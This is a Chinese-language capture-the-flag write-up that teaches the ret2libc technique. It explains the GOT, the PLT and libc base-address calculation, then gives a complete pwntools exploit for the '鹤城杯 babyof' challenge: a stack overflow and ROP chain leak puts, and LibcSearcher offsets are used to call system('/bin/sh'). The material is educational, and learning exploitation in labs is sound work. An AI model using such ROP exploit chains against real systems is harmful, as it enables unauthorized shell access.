这一篇主要记录的就是有关libc泄露了，困扰了我许久的玩意终于有写出来的一天了，不容易啊（哭）
不过理解了之后确实就会觉得好写很多嘞
在写题解之前还是写写libc泄露的原理和流程比较好，毕竟我自己学的时候搜索各种资料、看各种视频，真的都看得头大，一路摸爬滚打属实不易，我也希望能写出一篇能让别的初学者看得懂的原理解析。

一、libc讲解

(1).为什么要libc泄露

答：其一，当然是因为题目没有给啊！比如你想要system()函数，你想要bin/sh，但是给你的附件里边没有，然后想用ROPgadget看看能不能用ret2syscall的方法却也发现合适的pop|ret少之又少或根本就没有给你0x80和0xb。其二，就是开了PIE和RELRO，地址随机化让我们无法直接调用函数。这个时候就需要靠libc泄露地址来进行攻击了

(2).怎样实现libc泄露

要想通过libc进行地址泄露，那么我们就得先认识两个东西,GOT表(Global Offset Table)和PLT表（Procedure Linkage Table）
GOT表（全局偏移表）里存储着被调用函数真正的地址，而PLT表（程序链接表）里则储存着被调用函数的GOT表的地址给个流程图会好理解一些，以system为例，我自己画的可能有些粗略，希望能提供帮助

首次调用

再次调用

基地址

什么是基地址？

基地址是一个固定的内存地址，你可以把它理解为got表里存储的函数的真实地址，它是一个绝对地址，是内存加载时的起始地址。打个比喻的话，那就是，如果你站在大地上，那么大地就是基地址，地面到你头顶的距离可以称为偏移地址，地面到高楼楼顶也是一个偏移地址，大地是一个基底，你们的存在都在大地之上。说点学pwn的人都知道的，那就是，它在x64的情况下是0x7f开头，在x86的情况下是0xf7开头，别把它和虚拟地址搞混了

为什么需要基地址？

因为基地址是一个基底，我们可以根据基底+偏移量就可以调用任意一个在libc.so文件里的函数，那flag不就犹如探囊取物？

总思路

1.构建第一次payload：栈溢出——泄露libc某一函数真实地址——ret某一可执行函数地址（通常是main，这一步的目的是循环）
2.获取泄露出的真实地址
3.构造基地址，并根据基地址＋偏移量来调用特定函数
4.构造第二次payload:栈溢出——libc中的bin/sh地址——libc中的system函数地址
5.交互获得权限

(3).例题：[2021 鹤城杯]babyof（最基本的ret2libc，没有代码审计和陷阱）

首先checksec

from pwn import *
p = remote('node4.anna.nssctf.cn',28947)
elf = ELF("./2021_鹤城杯_babyof")
offset = 0x40 + 0x08
main_addr = 0x000000000040066B
pop_rdi = 0x0000000000400743
ret = 0x0000000000400506
puts_plt = elf.plt['puts'] #puts在plt表中的地址
puts_got = elf.got['puts'] #puts在got表中的地址
payload_first = offset * b'a' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) #先调用got表告诉plt表我没有puts函数地址，然后再次调用plt表给将puts函数的地址泄露出来，最后跳转回main函数再次执行
p.sendlineafter("overflow?\n",payload_first)
p.recvuntil("I hope you win\n")#第一次函数执行结束
real_puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))#u64是接收字节流，\x7f是64位程序函数地址的默认开头，读取7f往前6字节（在内存中，字节是倒着放的）  然后用ljust来补齐8字节，\x00是填充字符，不会影响数据

到此，我们puts的真实地址就泄露完毕了，接下来就要构建libc_base然后根据偏移量调用在libc.so里的函数，再次构造payload，第二次的攻击如下

from LibcSearcher import LibcSearcher
libc = LibcSearcher("puts", real_puts_addr)
libc_base = real_puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload_end = offset * b'a' + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendlineafter("overflow?\n",payload_end)
p.interactive()

因为我本人还并不太会使用gdb进行动态调试，根据本地泄露的地址来推测libc.so的版本，所以用的是LibcSearcher库
如果要用动态调试来泄露地址来推测libc.so版本，这里推荐用https://libc.rip/
如果是跟我一样不擅长使用gdb的，还是初学者的，可以用LibcSearcher库。不过这并不是长久之策，LibcSearcher已经很久没有维护过了，有些版本LibcSearcher是搜不到的，要想在pwn上走得更远，动态调试必不可少，可以说既是基础，也是精髓，更是核心！
好了，那现在是总的脚本

from pwn import *
from LibcSearcher import LibcSearcher
p = remote('node4.anna.nssctf.cn',28947)
#p = process("./2021_鹤城杯_babyof")
elf = ELF("./2021_鹤城杯_babyof")
offset = 0x40 + 0x08
main_addr = 0x000000000040066B
ret = 0x0000000000400506
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0000000000400743
payload_first = offset * b'a' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter("overflow?\n",payload_first)
p.recvuntil("I hope you win\n")
real_puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher("puts", real_puts_addr)
libc_base = real_puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload_end = offset * b'a' + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendlineafter("overflow?\n",payload_end)
p.interactive()

运行脚本即可，但记住即使是LibcSearcher，也要选对对应的libc.so版本，否则即使你脚本代码是对的，也没有办法打通

热门相关：重生复仇：腹黑千金不好惹   跟总裁假结婚的日子   厨道仙途   全天下都知道太子爱她   重生复仇：腹黑千金不好惹